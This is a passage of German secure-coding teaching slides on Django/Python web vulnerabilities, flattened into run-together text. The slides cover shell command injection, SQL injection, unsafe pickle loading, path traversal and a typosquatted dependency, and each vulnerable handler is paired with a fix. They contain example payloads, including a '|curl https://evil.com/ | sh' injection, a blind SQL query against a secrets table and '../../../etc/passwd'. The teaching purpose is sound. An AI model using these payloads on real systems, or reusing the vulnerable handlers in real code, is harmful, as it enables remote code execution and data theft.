# Richtiger Code ist mit ✓ markiert -->
from django.http import HttpResponse
import os
def vulnerable_handler(request):
cmd = 'echo {} | base64'.format(
request.POST['message'])
b64 = os.popen(cmd).read()
return HttpResponse(
'<html> base64 {}!</html>'.format(b64))
Welche Eingaben sind hier problematisch?
cmd = 'echo {} | base64'.format(
request.POST['message'])
b64 = os.popen(cmd).read()
foo barecho foo bar | base64|curl https://evil.com/ | shecho |curl https://evil.com/ | sh | base64cmd = 'echo "{}" | base64'.format(
request.POST['message'])
b64 = os.popen(cmd).read()|curl https://evil.com/|shecho "|curl https://evil.com/|sh" | base64echo ""|curl https://evil.com/|sh|cat "-" | base64" und $) müssen richtig enkodiert werden!
shlex.quote verwendenpipes.quote in Python 2import shlex
cmd = 'echo {} | base64'.format(
shlex.quote(request.POST['message']))
b64 = os.popen(cmd).read()
a " b $ c ' decho 'a " b $ c '"'"' d' | base64
subprocess verwenden!import subprocess
b64 = subprocess.check_output(
['base64'],
input=request.POST['message'].encode('utf-8'))
shell=True!import base64
b64 = base64.b64encode(
request.POST['message'].encode('utf-8'))
ctypesos.popenos.systemsubprocess.*(..., shell=True)pty.spawn", ', `)$, (from django.http import HttpResponse
import mysql
cursor = mysql.connector.connect(...).cursor()
def vulnerable_handler(request):
cursor.execute(
"SELECT txt FROM posts "
"WHERE id='{}'".format(request.GET['id']))
return HttpResponse(
'<html>{}</html>'.format(next(cursor)[0]))
Welche Eingaben sind hier problematisch?
cursor.execute(
"SELECT txt FROM posts "
"WHERE id='{}'".format(request.GET['id']))
42SELECT txt FROM posts WHERE id='42'SELECT txt FROM posts WHERE id='42' AND
(SELECT COUNT(*) FROM secrets
WHERE private_key LIKE "a%") > 0 AND ''=''cursor.execute(
"SELECT txt FROM posts WHERE id=%s",
(request.GET['id'],))
from django.http import HttpResponse
import pickle
def vulnerable_handler(request):
prefs_p = request.COOKIES.get('prefs')
prefs = (
pickle.loads(prefs_p)
if prefs_p else {'lang': 'de'})
return HttpResponse(
'<html>language: {}!</html>'.format(
prefs['lang']))
pickle.loads(prefs_p)
Problem: pickle kann beliebigen Code (de)serialisieren!
os.system('echo evil'){'lang': 'de'} plötzlich {'lang': ['d', 'e']} ist?
from django.http import HttpResponse
import io
def vulnerable_handler(request):
fn = '/var/myapp/data/' + request.GET['id']
with io.open(fn, encoding='utf-8') as f:
stored = f.read()
return HttpResponse(
'<html>stored: {}</html>'.format(stored))
Welche Eingaben sind hier problematisch?
fn = '/var/myapp/data/' + request.GET['id']
../../../etc/passwdfn = '/var/myapp/data/' + '../../../etc/passwd'fn = '/etc/passwd'os.path.join oder pathlib hilft nicht, sondern ermöglicht sogar noch mehr!>>> import os.path
>>> os.path.join('/var/myapp/data', '/etc/passwd')
'/etc/passwd'
os.path.basename!fn = os.path.join(
'/var/myapp/data/',
os.path.basename(request.GET['id']))
os.path.abspath überprüfenfn = os.path.abspath(os.path.join(
'/var/myapp/data/', request.GET['id']))
if not fn.startswith('/var/myapp/data/'):
raise Exception('Path traversal attempt')
CON, COM1, NUL etc. unter Windowsopen, io.open, os.listdirzipfile ist oktarfile katastrophal unsicherfrom setuptools import setup
setup(name='vulnerable-project',
version='0.1',
description='A vulnerable project',
author='Ingo Insecure',
install_requires=[
'Django', 'urlib3', 'raven',
])
from setuptools import setup
setup(name='vulnerable-project',
version='0.1',
description='A vulnerable project',
author='Ingo Insecure',
install_requires=[
'Django', 'urlib3', 'raven',
])
Django==2.0.1 \
--hash=sha256:af18618ce3291be50928...